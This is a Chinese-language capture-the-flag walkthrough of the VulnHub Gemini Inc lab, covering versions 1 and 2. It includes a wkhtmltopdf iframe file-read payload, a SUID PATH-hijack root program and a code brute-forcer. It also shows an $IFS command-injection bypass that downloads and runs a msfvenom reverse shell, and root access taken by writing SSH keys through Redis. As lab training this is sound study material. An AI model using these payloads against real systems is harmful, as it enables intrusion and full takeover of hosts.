VulnHub Gemini Inc
字数 1672 2025-08-27 12:33:23

VulnHub Gemini Inc 渗透测试教学文档

1. 环境概述

Gemini Inc 是 VulnHub 上的一个渗透测试靶机,包含两个版本 V1 和 V2。本教学文档将详细讲解两个版本的渗透测试过程,涵盖从信息收集到提权的完整流程。

2. V1 版本渗透测试

2.1 主机发现

使用 arp-scan 发现目标主机 IP:

arp-scan -l

发现目标 IP 为 192.168.75.147

2.2 端口扫描

使用 nmap 进行全端口扫描:

nmap -p 1-65535 -T4 -A -sV 192.168.75.147

发现开放端口:

  • 22 (SSH)
  • 80 (HTTP)

2.3 Web 应用分析

  1. 访问 80 端口,在 test2 目录下发现 web 应用
  2. 使用 dirb 进行目录扫描:
dirb http://192.168.75.147/test2/
  1. install.php 中发现安装时会写入默认账号 admin:1234(MD5 加密)

2.4 利用 PDF 生成功能

  1. 使用默认凭据 admin:1234 登录

  2. 发现两个功能:

    • 编辑个人资料
    • 将个人资料导出为 PDF
  3. XSS 测试:

    • 在修改名字时输入 <script>alert(1)</script> 产生 XSS
    • 生成的 PDF 中显示使用了 wkhtmltopdf 进行转换
  4. 利用 wkhtmltopdf 漏洞:

    • wkhtmltopdf 存在 SSRF 和文件读取漏洞
    • 创建恶意 PHP 文件 1.php
    <?php 
    $file = $_GET['file']; 
    header("location:file://$file"); 
    ?>
    
    • 在 name 字段注入:
    <iframe src="http://192.168.75.131/1.php?file=/etc/passwd" width="100%" height=1220></iframe>
    
    • 成功读取 /etc/passwd,发现用户 gemini1
    • 尝试读取 /home/gemini1/.ssh/id_rsa 获取 SSH 私钥

2.5 SUID 提权

  1. 查看内核版本:
uname -a

显示为 4.9.0,无直接可用 exp

  1. 查找可利用的 SUID 文件:
find / -perm -4000 2>/dev/null

发现可疑文件 listinfo

  1. 分析 listinfo
strings listinfo

发现调用了 date 命令且未使用绝对路径

  1. 创建恶意 date 程序:
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

int main() {
    setuid(0);
    setgid(0);
    system("/bin/bash");
}

编译并上传:

gcc 1.c -o date
export PATH=/path/to/date:$PATH
  1. 运行 listinfo 获取 root 权限

3. V2 版本渗透测试

3.1 主机发现

arp-scan -l

发现目标 IP 为 192.168.75.149

3.2 端口扫描

与 V1 相同,开放 22 和 80 端口

3.3 Web 应用分析

  1. 目录扫描发现新目录:

    • registration.php
    • activate.php
    • users_list.php
  2. 注册账号需要邀请码,提示为 6 位数字

  3. 使用 Python 脚本爆破邀请码:

import requests
import re

s = requests.session()

def post(num):
    url = 'http://192.168.75.149/activate.php'
    cookie = {'PHPSESSID': 'husbpgapgpkcdtpedtmn3uj5c7'}
    proxies = {'http': 'http://127.0.0.1:8080'}
    t = s.get(url=url, cookies=cookie)
    token = re.search("'hidden' name='token' value='(.*?)'", t.text).group(1)
    post_data = {'userid': 16, 'activation_code': num, 'token': token}
    t = s.post(url=url, cookies=cookie, data=post_data)
    print(num)
    return t

for i in range(0, 100000):
    t = post((6 - len(str(i))) * '0' + str(i))
    if t.status_code != 403:
        print('get', num)
        break

成功获取邀请码 000511

  1. 访问 users_list.php,在 HTML 源码中发现被注释的密码:
<!-- <b>Password:</b> edbd1887e772e13c251f688a5f10c1ffbb67960d<br/> -->

解密 MD5 得到 Gemini:secretpassword

3.4 利用 Admin 功能

  1. 使用 Gemini:secretpassword 登录
  2. 发现 admin panel 功能但返回 403
  3. 添加 HTTP 头绕过 IP 限制:
X-Forwarded-For: 127.0.0.1

3.5 命令执行绕过

  1. 发现命令执行功能但过滤了空格、>、| 等字符
  2. 使用 $IFS 代替空格:
wget$IFS'http://192.168.75.131/shell'
  1. 使用 msfvenom 生成反弹 shell:
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.75.131 LPORT=23333 -f elf -o pwn
  1. 下载并执行:
wget$IFS'-P'$IFS'/tmp/'$IFS'http://192.168.75.131/pwn'
chmod$IFS'777'$IFS'/tmp/pwn'
/tmp/pwn
  1. 将公钥写入 /home/gemini1/.ssh/authorized_keys 获取稳定 shell

3.6 Redis 提权

  1. 检查 Redis 服务:
ps -ef | grep redis

发现以 root 权限运行

  1. 尝试连接:
redis-cli -h 127.0.0.1 -p 6379

需要认证

  1. 查找 Redis 密码:
cat /etc/redis/6379.conf | grep pass

获取密码 8a7b86a2cd89d96dfcc125ebcc0535e6

  1. 通过 Redis 写入 root 的 authorized_keys:
redis-cli -h 127.0.0.1 -p 6379 -a 8a7b86a2cd89d96dfcc125ebcc0535e6
config set dir /root/.ssh/
config set dbfilename "authorized_keys"
set x "\n\nssh-rsa AAAAB3NzaC1yc2E...\n\n"
save
  1. 使用 SSH 密钥登录 root

4. 总结

本教学文档详细讲解了 VulnHub Gemini Inc 靶机两个版本的渗透测试过程,涵盖以下关键技术点:

  • 主机发现与端口扫描
  • Web 目录枚举
  • wkhtmltopdf 漏洞利用
  • SUID 提权技术
  • 邀请码爆破
  • HTTP 头绕过
  • 命令执行绕过技术
  • Redis 未授权访问提权

这些技术在实际渗透测试中具有广泛应用价值,建议在合法授权环境下进行练习。

VulnHub Gemini Inc 渗透测试教学文档 1. 环境概述 Gemini Inc 是 VulnHub 上的一个渗透测试靶机,包含两个版本 V1 和 V2。本教学文档将详细讲解两个版本的渗透测试过程,涵盖从信息收集到提权的完整流程。 2. V1 版本渗透测试 2.1 主机发现 使用 arp-scan 发现目标主机 IP: 发现目标 IP 为 192.168.75.147 2.2 端口扫描 使用 nmap 进行全端口扫描: 发现开放端口: 22 (SSH) 80 (HTTP) 2.3 Web 应用分析 访问 80 端口,在 test2 目录下发现 web 应用 使用 dirb 进行目录扫描: 在 install.php 中发现安装时会写入默认账号 admin:1234 (MD5 加密) 2.4 利用 PDF 生成功能 使用默认凭据 admin:1234 登录 发现两个功能: 编辑个人资料 将个人资料导出为 PDF XSS 测试: 在修改名字时输入 <script>alert(1)</script> 产生 XSS 生成的 PDF 中显示使用了 wkhtmltopdf 进行转换 利用 wkhtmltopdf 漏洞: wkhtmltopdf 存在 SSRF 和文件读取漏洞 创建恶意 PHP 文件 1.php : 在 name 字段注入: 成功读取 /etc/passwd ,发现用户 gemini1 尝试读取 /home/gemini1/.ssh/id_rsa 获取 SSH 私钥 2.5 SUID 提权 查看内核版本: 显示为 4.9.0,无直接可用 exp 查找可利用的 SUID 文件: 发现可疑文件 listinfo 分析 listinfo : 发现调用了 date 命令且未使用绝对路径 创建恶意 date 程序: 编译并上传: 运行 listinfo 获取 root 权限 3. V2 版本渗透测试 3.1 主机发现 发现目标 IP 为 192.168.75.149 3.2 端口扫描 与 V1 相同,开放 22 和 80 端口 3.3 Web 应用分析 目录扫描发现新目录: registration.php activate.php users_list.php 注册账号需要邀请码,提示为 6 位数字 使用 Python 脚本爆破邀请码: 成功获取邀请码 000511 访问 users_list.php ,在 HTML 源码中发现被注释的密码: 解密 MD5 得到 Gemini:secretpassword 3.4 利用 Admin 功能 使用 Gemini:secretpassword 登录 发现 admin panel 功能但返回 403 添加 HTTP 头绕过 IP 限制: 3.5 命令执行绕过 发现命令执行功能但过滤了空格、>、| 等字符 使用 $IFS 代替空格: 使用 msfvenom 生成反弹 shell: 下载并执行: 将公钥写入 /home/gemini1/.ssh/authorized_keys 获取稳定 shell 3.6 Redis 提权 检查 Redis 服务: 发现以 root 权限运行 尝试连接: 需要认证 查找 Redis 密码: 获取密码 8a7b86a2cd89d96dfcc125ebcc0535e6 通过 Redis 写入 root 的 authorized_ keys: 使用 SSH 密钥登录 root 4. 总结 本教学文档详细讲解了 VulnHub Gemini Inc 靶机两个版本的渗透测试过程,涵盖以下关键技术点: 主机发现与端口扫描 Web 目录枚举 wkhtmltopdf 漏洞利用 SUID 提权技术 邀请码爆破 HTTP 头绕过 命令执行绕过技术 Redis 未授权访问提权 这些技术在实际渗透测试中具有广泛应用价值,建议在合法授权环境下进行练习。